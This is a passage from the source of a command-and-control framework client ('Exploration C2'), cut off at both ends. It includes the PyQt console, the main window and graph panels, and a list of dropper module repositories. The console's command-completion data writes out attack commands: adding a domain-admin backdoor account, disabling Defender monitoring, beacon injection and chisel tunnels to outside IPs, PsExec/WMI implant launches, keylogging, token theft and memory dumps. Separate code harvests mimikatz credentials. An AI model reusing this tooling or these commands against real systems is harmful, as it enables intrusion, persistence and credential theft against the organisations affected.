| ('cmd /c', []), 124 | ('cmd /c sc query', []), 125 | ('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []), 126 | ('cmd /c where /r c:\\ *.txt', []), 127 | ('cmd /c tasklist /SVC', []), 128 | ('cmd /c taskkill /pid 845 /f', []), 129 | ('cmd /c schtasks /query /fo LIST /v', []), 130 | ('cmd /c net user superadmin123 Password123!* /add', []), 131 | ('cmd /c net localgroup administrators superadmin123 /add', []), 132 | ('cmd /c net user superadmin123 Password123!* /add /domain', []), 133 | ('cmd /c net group "domain admins" superadmin123 /add /domain', []), 134 | ]), 135 | (DownloadInstruction,[]), 136 | (InjectInstruction,[ 137 | ('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []), 138 | ('-e implant.exe -1', []), 139 | ]), 140 | (ScriptInstruction,[]), 141 | (PwdInstruction,[]), 142 | (CdInstruction,[]), 143 | (LsInstruction,[]), 144 | (PsInstruction,[]), 145 | (CatInstruction,[]), 146 | (TreeInstruction,[]), 147 | (MakeTokenInstruction,[]), 148 | (Rev2selfInstruction,[]), 149 | (StealTokenInstruction,[]), 150 | (CoffLoaderInstruction,[ 151 | ('adcs_enum.x64.o', [('go',[])]), 152 | ('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]), 153 | ('adcs_enum_com2.x64.o', [('go',[])]), 154 | ('adv_audit_policies.x64.o', [('go',[])]), 155 | ('arp.x64.o', [('go',[])]), 156 | ('cacls.x64.o', [('go zz hostname servicename',[])]), 157 | ('dir.x64.o', [('go Zs targetdir subdirs',[])]), 158 | ('driversigs.x64.o', [('go Zi name, 0',[])]), 159 | ('enum_filter_driver.x64.o', [('go',[])]), 160 | ('enumlocalsessions.x64.o', [('go zz modname procname',[])]), 161 | ('env.x64.o', [('go',[])]), 162 | ('findLoadedModule.x64.o', [('go',[])]), 163 | ('get-netsession.x64.o', [('go',[])]), 164 | ('get_password_policy.x64.o', [('go Z server',[])]), 165 | ('ipconfig.x64.o', [('go',[])]), 166 | ('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), 167 | ('listdns.x64.o', [('go',[])]), 168 | ('listmods.x64.o', [('go i pid',[])]), 169 | ('locale.x64.o', [('go',[])]), 170 | ('netgroup.x64.o', [('go sZZ type server group',[])]), 171 | ('netlocalgroup.x64.o', [('go',[])]), 172 | ('netshares.x64.o', [('go Zi name, 1',[])]), 173 | ('netstat.x64.o', [('go',[])]), 174 | ('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]), 175 | ('netuser.x64.o', [('go ZZ 2 domain',[])]), 176 | ('netuserenum.x64.o', [('go',[])]), 177 | ('netview.x64.o', [('go Z domain',[])]), 178 | ('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), 179 | ('nslookup.x64.o', [('go zzs lookup server type',[])]), 180 | ('probe.x64.o', [('go zi host port',[])]), 181 | ('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]), 182 | ('resources.x64.o', [('go',[])]), 183 | ('routeprint.x64.o', [('go',[])]), 184 | ('sc_enum.x64.o', [('go',[])]), 185 | ('schtasksenum.x64.o', [('go ZZ 2 3',[])]), 186 | ('schtasksquery.x64.o', [('go',[])]), 187 | ('sc_qc.x64.o', [('go zz hostname servicename',[])]), 188 | ('sc_qdescription.x64.o', [('go zz hostname servicename',[])]), 189 | ('sc_qfailure.x64.o', [('go',[])]), 190 | ('sc_qtriggerinfo.x64.o', [('go',[])]), 191 | ('sc_query.x64.o', [('go',[])]), 192 | ('tasklist.x64.o', [('go Z system',[])]), 193 | ('uptime.x64.o', [('go',[])]), 194 | ('vssenum.x64.o', [('go',[])]), 195 | ('whoami.x64.o', [('go',[])]), 196 | ('windowlist.x64.o', [('go',[])]), 197 | ('wmi_query.x64.o', [('go ZZZ system namespace query',[])]), 198 | ]), 199 | (MiniDumpInstruction, [ 200 | ('dump dump.xor', []), 201 | ('decrypt /tmp/dump.xor', []), 202 | ]), 203 | (DotnetExecInstruction, [ 204 | ('load rub Rubeus.exe', []), 205 | ('runExe rub help', []), 206 | ]), 207 | (UnloadModuleInstruction,[ 208 | (AssemblyExecInstruction, []), 209 | (CdInstruction, []), 210 | (CoffLoaderInstruction, []), 211 | (DownloadInstruction, []), 212 | (InjectInstruction, []), 213 | (LsInstruction, []), 214 | (PsInstruction, []), 215 | (MakeTokenInstruction, []), 216 | (PwdInstruction, []), 217 | (Rev2selfInstruction, []), 218 | (RunInstruction, []), 219 | (ScriptInstruction, []), 220 | (StealTokenInstruction, []), 221 | (UploadInstruction, []), 222 | (PowershellInstruction, []), 223 | (PsExecInstruction, []), 224 | (KerberosUseTicketInstruction, []), 225 | (ChiselInstruction, []), 226 | (EvasionInstruction, []), 227 | (SpawnAsInstruction, []), 228 | (WmiInstruction, []), 229 | (KeyLoggerInstruction, []), 230 | (MiniDumpInstruction, []), 231 | (DotnetExecInstruction, []), 232 | ]), 233 | (KerberosUseTicketInstruction,[]), 234 | (PowershellInstruction,[ 235 | ('-i PowerView.ps1', []), 236 | ('Get-Domain', []), 237 | ('Get-DomainTrust', []), 238 | ('Get-DomainUser', []), 239 | ('Get-DomainComputer -Properties DnsHostName', []), 240 | ('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []), 241 | ('-i PowerUp.ps1', []), 242 | ('Invoke-AllChecks', []), 243 | ('-i Powermad.ps1', []), 244 | ('-i PowerUpSQL.ps1', []), 245 | ('Set-MpPreference -DisableRealtimeMonitoring $true', []), 246 | ]), 247 | (ChiselInstruction,[ 248 | ('status', []), 249 | ('stop', []), 250 | ('chisel.exe client 192.168.57.21:9001 R:socks', []), 251 | ('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []), 252 | ]), 253 | (PsExecInstruction,[ 254 | ('10.10.10.10 implant.exe', []), 255 | ]), 256 | (WmiInstruction,[ 257 | ('10.10.10.10 implant.exe', []), 258 | ]), 259 | (SpawnAsInstruction,[ 260 | ('user password implant.exe', []), 261 | ]), 262 | (EvasionInstruction,[ 263 | ('CheckHooks', []), 264 | ('Unhook', []), 265 | ]), 266 | (KeyLoggerInstruction,[ 267 | ('start', []), 268 | ('stop', []), 269 | ('dump', []), 270 | ]), 271 | (LoadModuleInstruction,[ 272 | ('changeDirectory', []), 273 | ('listDirectory', []), 274 | ('listProcesses', []), 275 | ('printWorkingDirectory', []), 276 | (CdInstruction, []), 277 | (LsInstruction, []), 278 | (PsInstruction, []), 279 | (PwdInstruction, []), 280 | (AssemblyExecInstruction, []), 281 | (CoffLoaderInstruction, []), 282 | (DownloadInstruction, []), 283 | (InjectInstruction, []), 284 | (MakeTokenInstruction, []), 285 | (Rev2selfInstruction, []), 286 | (RunInstruction, []), 287 | (ScriptInstruction, []), 288 | (StealTokenInstruction, []), 289 | (UploadInstruction, []), 290 | (PowershellInstruction, []), 291 | (PsExecInstruction, []), 292 | (KerberosUseTicketInstruction, []), 293 | (ChiselInstruction, []), 294 | (EvasionInstruction, []), 295 | (SpawnAsInstruction, []), 296 | (WmiInstruction, []), 297 | (KeyLoggerInstruction, []), 298 | (MiniDumpInstruction, []), 299 | (DotnetExecInstruction, []), 300 | ]), 301 | ] 302 | 303 | 304 | # 305 | # Consoles Tab Implementation 306 | # 307 | class ConsolesTab(QWidget): 308 | 309 | def __init__(self, parent, grpcClient): 310 | super(QWidget, self).__init__(parent) 311 | widget = QWidget(self) 312 | self.layout = QHBoxLayout(widget) 313 | 314 | # Initialize tab screen 315 | self.tabs = QTabWidget() 316 | self.tabs.setTabsClosable(True) 317 | self.tabs.tabCloseRequested.connect(self.closeTab) 318 | 319 | # Add tabs to widget 320 | self.layout.addWidget(self.tabs) 321 | self.setLayout(self.layout) 322 | 323 | self.grpcClient = grpcClient 324 | 325 | tab = QWidget() 326 | self.tabs.addTab(tab, TerminalTabTitle) 327 | tab.layout = QVBoxLayout(self.tabs) 328 | self.terminal = Terminal(self, self.grpcClient) 329 | tab.layout.addWidget(self.terminal) 330 | tab.setLayout(tab.layout) 331 | self.tabs.setCurrentIndex(self.tabs.count()-1) 332 | 333 | tab = QWidget() 334 | self.tabs.addTab(tab, "Script") 335 | tab.layout = QVBoxLayout(self.tabs) 336 | self.script = Script(self, self.grpcClient) 337 | tab.layout.addWidget(self.script) 338 | tab.setLayout(tab.layout) 339 | self.tabs.setCurrentIndex(self.tabs.count()-1) 340 | 341 | tab = QWidget() 342 | self.tabs.addTab(tab, "Assistant") 343 | tab.layout = QVBoxLayout(self.tabs) 344 | self.assistant = Assistant(self, self.grpcClient) 345 | tab.layout.addWidget(self.assistant) 346 | tab.setLayout(tab.layout) 347 | self.tabs.setCurrentIndex(self.tabs.count()-1) 348 | 349 | @pyqtSlot() 350 | def on_click(self): 351 | print("\n") 352 | for currentQTableWidgetItem in self.tableWidget.selectedItems(): 353 | print(currentQTableWidgetItem.row(), currentQTableWidgetItem.column(), currentQTableWidgetItem.text()) 354 | 355 | def addConsole(self, beaconHash, listenerHash, hostname, username): 356 | tabAlreadyOpen=False 357 | for idx in range(0,self.tabs.count()): 358 | openTabKey = self.tabs.tabText(idx) 359 | if openTabKey==beaconHash[0:8]: 360 | self.tabs.setCurrentIndex(idx) 361 | tabAlreadyOpen=True 362 | 363 | if tabAlreadyOpen==False: 364 | tab = QWidget() 365 | self.tabs.addTab(tab, beaconHash[0:8]) 366 | tab.layout = QVBoxLayout(self.tabs) 367 | console = Console(self, self.grpcClient, beaconHash, listenerHash, hostname, username) 368 | console.consoleScriptSignal.connect(self.script.consoleScriptMethod) 369 | console.consoleScriptSignal.connect(self.assistant.consoleAssistantMethod) 370 | tab.layout.addWidget(console) 371 | tab.setLayout(tab.layout) 372 | self.tabs.setCurrentIndex(self.tabs.count()-1) 373 | 374 | def closeTab(self, currentIndex): 375 | currentQWidget = self.tabs.widget(currentIndex) 376 | if currentIndex<3: 377 | return 378 | currentQWidget.deleteLater() 379 | self.tabs.removeTab(currentIndex) 380 | 381 | 382 | class Console(QWidget): 383 | 384 | consoleScriptSignal = pyqtSignal(str, str, str, str, str, str) 385 | 386 | tabPressed = pyqtSignal() 387 | beaconHash="" 388 | hostname="" 389 | username="" 390 | logFileName="" 391 | listenerHash="" 392 | 393 | def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, username): 394 | super(QWidget, self).__init__(parent) 395 | self.layout = QVBoxLayout(self) 396 | 397 | self.grpcClient = grpcClient 398 | 399 | self.beaconHash=beaconHash 400 | self.listenerHash=listenerHash 401 | self.hostname=hostname.replace("\\", "_").replace(" ", "_") 402 | self.username=username.replace("\\", "_").replace(" ", "_") 403 | self.logFileName=self.hostname+"_"+self.username+"_"+self.beaconHash+".log" 404 | 405 | self.editorOutput = QPlainTextEdit() 406 | self.editorOutput.setFont(QFont("Courier")); 407 | self.editorOutput.setReadOnly(True) 408 | self.layout.addWidget(self.editorOutput, 8) 409 | 410 | self.commandEditor = CommandEditor() 411 | self.layout.addWidget(self.commandEditor, 2) 412 | self.commandEditor.returnPressed.connect(self.runCommand) 413 | 414 | # Thread to get sessions response 415 | # https://realpython.com/python-pyqt-qthread/ 416 | self.thread = QThread() 417 | self.getSessionResponse = GetSessionResponse() 418 | self.getSessionResponse.moveToThread(self.thread) 419 | self.thread.started.connect(self.getSessionResponse.run) 420 | self.getSessionResponse.checkin.connect(self.displayResponse) 421 | self.thread.start() 422 | 423 | def __del__(self): 424 | self.getSessionResponse.quit() 425 | self.thread.quit() 426 | self.thread.wait() 427 | 428 | def nextCompletion(self): 429 | index = self._compl.currentIndex() 430 | self._compl.popup().setCurrentIndex(index) 431 | start = self._compl.currentRow() 432 | if not self._compl.setCurrentRow(start + 1): 433 | self._compl.setCurrentRow(0) 434 | 435 | def event(self, event): 436 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab: 437 | self.tabPressed.emit() 438 | return True 439 | return super().event(event) 440 | 441 | def printInTerminal(self, cmdSent, cmdReived, result): 442 | now = datetime.now() 443 | sendFormater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [>>] '+'{}'+'

' 444 | receiveFormater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [<<] '+'{}'+'

' 445 | 446 | if cmdSent: 447 | self.editorOutput.appendHtml(sendFormater.format(cmdSent)) 448 | self.editorOutput.insertPlainText("\n") 449 | elif cmdReived: 450 | self.editorOutput.appendHtml(receiveFormater.format(cmdReived)) 451 | self.editorOutput.insertPlainText("\n") 452 | if result: 453 | self.editorOutput.insertPlainText(result) 454 | self.editorOutput.insertPlainText("\n") 455 | 456 | def runCommand(self): 457 | commandLine = self.commandEditor.displayText() 458 | self.commandEditor.clearLine() 459 | self.setCursorEditorAtEnd() 460 | 461 | if commandLine == "": 462 | self.printInTerminal("", "", "") 463 | 464 | else: 465 | cmdHistoryFile = open(CmdHistoryFileName, 'a') 466 | cmdHistoryFile.write(commandLine) 467 | cmdHistoryFile.write('\n') 468 | cmdHistoryFile.close() 469 | 470 | logFile = open(logsDir+"/"+self.logFileName, 'a') 471 | logFile.write('[+] send: \"' + commandLine + '\"') 472 | logFile.write('\n') 473 | logFile.close() 474 | 475 | self.commandEditor.setCmdHistory() 476 | instructions = commandLine.split() 477 | if instructions[0]==HelpInstruction: 478 | command = TeamServerApi_pb2.Command(beaconHash=self.beaconHash, listenerHash=self.listenerHash, cmd=commandLine) 479 | response = self.grpcClient.getHelp(command) 480 | self.printInTerminal(response.cmd, "", "") 481 | self.printInTerminal("", response.cmd, response.response.decode(encoding="latin1", errors="ignore")) 482 | 483 | else: 484 | self.printInTerminal(commandLine, "", "") 485 | command = TeamServerApi_pb2.Command(beaconHash=self.beaconHash, listenerHash=self.listenerHash, cmd=commandLine) 486 | result = self.grpcClient.sendCmdToSession(command) 487 | context = "Host " + self.hostname + " - Username " + self.username 488 | self.consoleScriptSignal.emit("send", self.beaconHash, self.listenerHash, context, commandLine, "") 489 | if result.message: 490 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore")) 491 | 492 | self.setCursorEditorAtEnd() 493 | 494 | def displayResponse(self): 495 | session = TeamServerApi_pb2.Session(beaconHash=self.beaconHash) 496 | responses = self.grpcClient.getResponseFromSession(session) 497 | for response in responses: 498 | context = "Host " + self.hostname + " - Username " + self.username 499 | self.consoleScriptSignal.emit("receive", "", "", context, response.cmd, response.response.decode(encoding="latin1", errors="ignore")) 500 | self.setCursorEditorAtEnd() 501 | # check the response for mimikatz and not the cmd line ??? 502 | if "-e mimikatz.exe" in response.cmd: 503 | credentials.handleMimikatzCredentials(response.response.decode(encoding="latin1", errors="ignore"), self.grpcClient, TeamServerApi_pb2) 504 | self.printInTerminal("", response.instruction + " " + response.cmd, response.response.decode(encoding="latin1", errors="ignore")) 505 | self.setCursorEditorAtEnd() 506 | 507 | logFile = open(logsDir+"/"+self.logFileName, 'a') 508 | logFile.write('[+] result: \"' + response.instruction + " " + response.cmd + '\"') 509 | logFile.write('\n' + response.response.decode(encoding="latin1", errors="ignore") + '\n') 510 | logFile.write('\n') 511 | logFile.close() 512 | 513 | def setCursorEditorAtEnd(self): 514 | cursor = self.editorOutput.textCursor() 515 | cursor.movePosition(QTextCursor.End,) 516 | self.editorOutput.setTextCursor(cursor) 517 | 518 | 519 | class GetSessionResponse(QObject): 520 | checkin = pyqtSignal() 521 | 522 | exit=False 523 | 524 | def run(self): 525 | while self.exit==False: 526 | self.checkin.emit() 527 | time.sleep(1) 528 | 529 | def quit(self): 530 | self.exit=True 531 | 532 | 533 | class CommandEditor(QLineEdit): 534 | tabPressed = pyqtSignal() 535 | cmdHistory = [] 536 | idx = 0 537 | 538 | def __init__(self, parent=None): 539 | super().__init__(parent) 540 | 541 | if(os.path.isfile(CmdHistoryFileName)): 542 | cmdHistoryFile = open(CmdHistoryFileName) 543 | self.cmdHistory = cmdHistoryFile.readlines() 544 | self.idx=len(self.cmdHistory)-1 545 | cmdHistoryFile.close() 546 | 547 | QShortcut(Qt.Key_Up, self, self.historyUp) 548 | QShortcut(Qt.Key_Down, self, self.historyDown) 549 | 550 | self.codeCompleter = CodeCompleter(completerData, self) 551 | # needed to clear the completer after activation 552 | self.codeCompleter.activated.connect(self.onActivated) 553 | self.setCompleter(self.codeCompleter) 554 | self.tabPressed.connect(self.nextCompletion) 555 | 556 | def nextCompletion(self): 557 | index = self.codeCompleter.currentIndex() 558 | self.codeCompleter.popup().setCurrentIndex(index) 559 | start = self.codeCompleter.currentRow() 560 | if not self.codeCompleter.setCurrentRow(start + 1): 561 | self.codeCompleter.setCurrentRow(0) 562 | 563 | def event(self, event): 564 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab: 565 | self.tabPressed.emit() 566 | return True 567 | return super().event(event) 568 | 569 | def historyUp(self): 570 | if(self.idx=0): 571 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 572 | self.idx=max(self.idx-1,0) 573 | self.setText(cmd.strip()) 574 | 575 | def historyDown(self): 576 | if(self.idx=0): 577 | self.idx=min(self.idx+1,len(self.cmdHistory)-1) 578 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 579 | self.setText(cmd.strip()) 580 | 581 | def setCmdHistory(self): 582 | cmdHistoryFile = open(CmdHistoryFileName) 583 | self.cmdHistory = cmdHistoryFile.readlines() 584 | self.idx=len(self.cmdHistory)-1 585 | cmdHistoryFile.close() 586 | 587 | def clearLine(self): 588 | self.clear() 589 | 590 | def onActivated(self): 591 | QTimer.singleShot(0, self.clear) 592 | 593 | 594 | class CodeCompleter(QCompleter): 595 | ConcatenationRole = Qt.UserRole + 1 596 | 597 | def __init__(self, data, parent=None): 598 | super().__init__(parent) 599 | self.createModel(data) 600 | 601 | def splitPath(self, path): 602 | return path.split(' ') 603 | 604 | def pathFromIndex(self, ix): 605 | return ix.data(CodeCompleter.ConcatenationRole) 606 | 607 | def createModel(self, data): 608 | def addItems(parent, elements, t=""): 609 | for text, children in elements: 610 | item = QStandardItem(text) 611 | data = t + " " + text if t else text 612 | item.setData(data, CodeCompleter.ConcatenationRole) 613 | parent.appendRow(item) 614 | if children: 615 | addItems(item, children, data) 616 | model = QStandardItemModel(self) 617 | addItems(model, data) 618 | self.setModel(model) 619 | -------------------------------------------------------------------------------- /C2Client/C2Client/DropperModules.conf: -------------------------------------------------------------------------------- 1 | https://github.com/maxDcb/PeDropper 2 | https://github.com/maxDcb/PowershellWebDelivery 3 | https://github.com/maxDcb/PeInjectorSyscall 4 | https://github.com/almounah/GoDroplets.git 5 | https://github.com/maxDcb/ElfDropper.git 6 | https://github.com/maxDcb/EarlyCascade.git -------------------------------------------------------------------------------- /C2Client/C2Client/DropperModules/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /C2Client/C2Client/GUI.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import signal 4 | import argparse 5 | import logging 6 | 7 | from PyQt5.QtWidgets import * 8 | from PyQt5.QtGui import * 9 | from PyQt5.QtCore import * 10 | 11 | sys.path.append(os.path.dirname(os.path.abspath(__file__))) 12 | 13 | from grpcClient import * 14 | from ListenerPanel import * 15 | from SessionPanel import * 16 | from ConsolePanel import * 17 | from GraphPanel import * 18 | 19 | import qdarktheme 20 | 21 | logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s') 22 | 23 | signal.signal(signal.SIGINT, signal.SIG_DFL) 24 | 25 | 26 | class App(QMainWindow): 27 | 28 | def __init__(self, ip, port, devMode): 29 | super().__init__() 30 | 31 | self.ip = ip 32 | self.port = port 33 | self.devMode = devMode 34 | 35 | try: 36 | self.grpcClient = GrpcClient(self.ip, self.port, self.devMode) 37 | except ValueError as e: 38 | raise e 39 | 40 | self.createPayloadWindow = None 41 | 42 | self.title = 'Exploration C2' 43 | self.left = 0 44 | self.top = 0 45 | self.width = 1000 46 | self.height = 1000 47 | self.setWindowTitle(self.title) 48 | self.setGeometry(self.left, self.top, self.width, self.height) 49 | 50 | central_widget = QWidget() 51 | self.setCentralWidget(central_widget) 52 | 53 | config_button = QPushButton("Payload") 54 | config_button.clicked.connect(self.payloadForm) 55 | 56 | self.mainLayout = QGridLayout(central_widget) 57 | self.mainLayout.setContentsMargins(0, 0, 0, 0) 58 | self.mainLayout.setRowStretch(1, 3) 59 | self.mainLayout.setRowStretch(2, 7) 60 | 61 | self.topLayout() 62 | self.botLayout() 63 | 64 | self.sessionsWidget.sessionScriptSignal.connect(self.consoleWidget.script.sessionScriptMethod) 65 | self.sessionsWidget.sessionScriptSignal.connect(self.consoleWidget.assistant.sessionAssistantMethod) 66 | self.listenersWidget.listenerScriptSignal.connect(self.consoleWidget.script.listenerScriptMethod) 67 | 68 | self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole) 69 | 70 | self.consoleWidget.script.mainScriptMethod("start", "", "", "") 71 | 72 | self.show() 73 | 74 | 75 | def topLayout(self): 76 | 77 | self.topWidget = QTabWidget() 78 | 79 | self.m_main = QWidget() 80 | 81 | self.m_main.layout = QHBoxLayout(self.m_main) 82 | self.m_main.layout.setContentsMargins(0, 0, 0, 0) 83 | 84 | self.sessionsWidget = Sessions(self, self.grpcClient) 85 | self.listenersWidget = Listeners(self, self.grpcClient) 86 | 87 | # Adjust the stretch factors: sessions gets more space, listeners gets less 88 | self.m_main.layout.addWidget(self.sessionsWidget, 2) # 66% width 89 | self.m_main.layout.addWidget(self.listenersWidget, 1) # 33% width 90 | 91 | self.topWidget.addTab(self.m_main, "Main") 92 | 93 | self.graphWidget = Graph(self, self.grpcClient) 94 | self.topWidget.addTab(self.graphWidget, "Graph") 95 | 96 | self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1) 97 | 98 | 99 | def botLayout(self): 100 | 101 | self.consoleWidget = ConsolesTab(self, self.grpcClient) 102 | self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2) 103 | 104 | 105 | def __del__(self): 106 | if hasattr(self, 'consoleWidget'): 107 | self.consoleWidget.script.mainScriptMethod("stop", "", "", "") 108 | 109 | 110 | def payloadForm(self): 111 | if self.createPayloadWindow is None: 112 | self.createPayloadWindow = CreatePayload() 113 | self.createPayloadWindow.show() 114 | 115 | 116 | def main(): 117 | parser = argparse.ArgumentParser(description='TeamServer IP and port.') 118 | parser.add_argument('--ip', default='127.0.0.1', help='IP address (default: 127.0.0.1)') 119 | parser.add_argument('--port', type=int, default=50051, help='Port number (default: 50051)') 120 | parser.add_argument('--dev', action='store_true', help='Enable developer mode to disable the SSL hostname check.') 121 | 122 | args = parser.parse_args() 123 | 124 | app = QApplication(sys.argv) 125 | app.setStyleSheet(qdarktheme.load_stylesheet()) 126 | 127 | try: 128 | ex = App(args.ip, args.port, args.dev) 129 | except ValueError as e: 130 | sys.exit(1) 131 | sys.exit(app.exec_()) 132 | 133 | 134 | if __name__ == "__main__": 135 | main() -------------------------------------------------------------------------------- /C2Client/C2Client/GraphPanel.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | from threading import Thread, Lock 5 | from PyQt5.QtWidgets import * 6 | from PyQt5.QtGui import * 7 | from PyQt5.QtCore import * 8 | from PyQt5.QtGui import QPixmap, QTransform 9 | 10 | from grpcClient import * 11 | 12 | 13 | # 14 | # Constant 15 | # 16 | BeaconNodeItemType = "Beacon" 17 | ListenerNodeItemType = "Listener" 18 | 19 | try: 20 | import pkg_resources 21 | PrimaryListenerImage = pkg_resources.resource_filename( 22 | 'C2Client', 23 | 'images/firewall.svg' 24 | ) 25 | WindowsSessionImage = pkg_resources.resource_filename( 26 | 'C2Client', 27 | 'images/pc.svg' 28 | ) 29 | WindowsHighPrivSessionImage = pkg_resources.resource_filename( 30 | 'C2Client', 31 | 'images/windowshighpriv.svg' 32 | ) 33 | LinuxSessionImage = pkg_resources.resource_filename( 34 | 'C2Client', 35 | 'images/linux.svg' 36 | ) 37 | LinuxRootSessionImage = pkg_resources.resource_filename( 38 | 'C2Client', 39 | 'images/linuxhighpriv.svg' 40 | ) 41 | except ImportError: 42 | PrimaryListenerImage = os.path.join(os.path.dirname(__file__), 'images/firewall.svg') 43 | WindowsSessionImage = os.path.join(os.path.dirname(__file__), 'images/pc.svg') 44 | WindowsHighPrivSessionImage = os.path.join(os.path.dirname(__file__), 'images/windowshighpriv.svg') 45 | LinuxSessionImage = os.path.join(os.path.dirname(__file__), 'images/linux.svg') 46 | LinuxRootSessionImage = os.path.join(os.path.dirname(__file__), 'images/linuxhighpriv.svg') 47 | 48 | 49 | # 50 | # Graph Tab Implementation 51 | # 52 | # needed to send the message of mouseMoveEvent because QGraphicsPixmapItem doesn't herit from QObject 53 | class Signaller(QObject): 54 | signal = pyqtSignal() 55 | 56 | def trigger(self): 57 | self.signal.emit() 58 | 59 | 60 | class NodeItem(QGraphicsPixmapItem): 61 | # Signal to notify position changes 62 | signaller = Signaller() 63 | 64 | def __init__(self, type, hash, os="", privilege="", hostname="", parent=None): 65 | if type == ListenerNodeItemType: 66 | self.type = ListenerNodeItemType 67 | pixmap = self.addImageNode(PrimaryListenerImage, "") 68 | self.beaconHash = "" 69 | self.connectedListenerHash = "" 70 | self.listenerHash = [] 71 | self.listenerHash.append(hash) 72 | elif type == BeaconNodeItemType: 73 | self.type = BeaconNodeItemType 74 | # print("NodeItem beaconHash", hash, "os", os, "privilege", privilege) 75 | if "linux" in os.lower(): 76 | if privilege == "root": 77 | pixmap = self.addImageNode(LinuxRootSessionImage, hostname) 78 | else: 79 | pixmap = self.addImageNode(LinuxSessionImage, hostname) 80 | elif "windows" in os.lower(): 81 | if privilege == "HIGH": 82 | pixmap = self.addImageNode(WindowsHighPrivSessionImage, hostname) 83 | else: 84 | pixmap = self.addImageNode(WindowsSessionImage, hostname) 85 | else: 86 | pixmap = QPixmap(LinuxSessionImage).scaled(64, 64, Qt.KeepAspectRatio, Qt.SmoothTransformation) 87 | self.beaconHash=hash 88 | self.hostname = hostname 89 | self.connectedListenerHash = "" 90 | self.listenerHash=[] 91 | 92 | super().__init__(pixmap) 93 | 94 | def print(self): 95 | print("NodeItem", self.type, "beaconHash", self.beaconHash, "listenerHash", self.listenerHash, "connectedListenerHash", self.connectedListenerHash) 96 | 97 | def isResponsableForListener(self, hash): 98 | if hash in self.listenerHash: 99 | return True 100 | else: 101 | return False 102 | 103 | def mouseMoveEvent(self, event): 104 | super().mouseMoveEvent(event) 105 | self.signaller.trigger() 106 | 107 | def mousePressEvent(self, event): 108 | super().mousePressEvent(event) 109 | self.setCursor(Qt.ClosedHandCursor) 110 | 111 | def mouseReleaseEvent(self, event): 112 | super().mouseReleaseEvent(event) 113 | self.setCursor(Qt.ArrowCursor) 114 | 115 | def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_color=Qt.white): 116 | # Load and scale the image 117 | pixmap = QPixmap(image_path).scaled(64, 64, Qt.KeepAspectRatio, Qt.SmoothTransformation) 118 | 119 | # Create a new QPixmap larger than the original for the image and text 120 | legend_height = font_size + padding * 2 121 | legend_width = len(legend_text) * font_size + padding * 2 122 | combined_pixmap = QPixmap(max(legend_width, pixmap.width()), pixmap.height() + legend_height) 123 | combined_pixmap.fill(Qt.transparent) # Transparent background 124 | 125 | # Paint the image and the legend onto the combined pixmap 126 | painter = QPainter(combined_pixmap) 127 | image_x = (combined_pixmap.width() - pixmap.width()) // 2 128 | painter.drawPixmap(image_x, 0, pixmap) # Draw the image 129 | 130 | pen = QPen() 131 | pen.setColor(text_color) # Set the desired text color 132 | painter.setPen(pen) 133 | # Set font for the legend 134 | font = QFont() 135 | font.setPointSize(font_size) 136 | painter.setFont(font) 137 | 138 | # Draw the legend text centered below the image 139 | text_rect = painter.boundingRect( 140 | 0, pixmap.height(), combined_pixmap.width(), legend_height, Qt.AlignCenter, legend_text 141 | ) 142 | painter.drawText(text_rect, Qt.AlignCenter, legend_text) 143 | 144 | painter.end() 145 | return combined_pixmap 146 | 147 | 148 | class Connector(QGraphicsLineItem): 149 | 150 | def __init__(self, listener, beacon, pen=None): 151 | super().__init__() 152 | self.listener = listener 153 | self.beacon = beacon 154 | 155 | self.pen = pen or QPen(QColor("white"), 3) 156 | self.setPen(self.pen) 157 | self.update_line() 158 | 159 | def print(self): 160 | print("Connector", "beaconHash", self.beacon.beaconHash, "connectedListenerHash", self.beacon.connectedListenerHash, "listenerHash", self.listener.listenerHash) 161 | 162 | def update_line(self): 163 | # print("listener", self.listener.pos()) 164 | # print("beacon", self.beacon.pos()) 165 | center1 = self.listener.pos() + self.listener.boundingRect().center() 166 | center2 = self.beacon.pos() + self.beacon.boundingRect().center() 167 | self.setLine(QLineF(center1, center2)) 168 | 169 | 170 | class Graph(QWidget): 171 | listNodeItem = [] 172 | listNodeItem = [] 173 | listConnector = [] 174 | 175 | def __init__(self, parent, grpcClient): 176 | super(QWidget, self).__init__(parent) 177 | 178 | width = self.frameGeometry().width() 179 | height = self.frameGeometry().height() 180 | 181 | self.grpcClient = grpcClient 182 | 183 | self.scene = QGraphicsScene() 184 | 185 | self.view = QGraphicsView(self.scene) 186 | self.view.setRenderHint(QPainter.Antialiasing) 187 | 188 | self.vbox = QVBoxLayout() 189 | self.vbox.setContentsMargins(0, 0, 0, 0) 190 | self.vbox.addWidget(self.view) 191 | 192 | self.setLayout(self.vbox) 193 | 194 | self.thread = QThread() 195 | self.getGraphInfoWorker = GetGraphInfoWorker() 196 | self.getGraphInfoWorker.moveToThread(self.thread) 197 | self.thread.started.connect(self.getGraphInfoWorker.run) 198 | self.getGraphInfoWorker.checkin.connect(self.updateGraph) 199 | self.thread.start() 200 | 201 | # self.updateScene() 202 | 203 | 204 | def __del__(self): 205 | 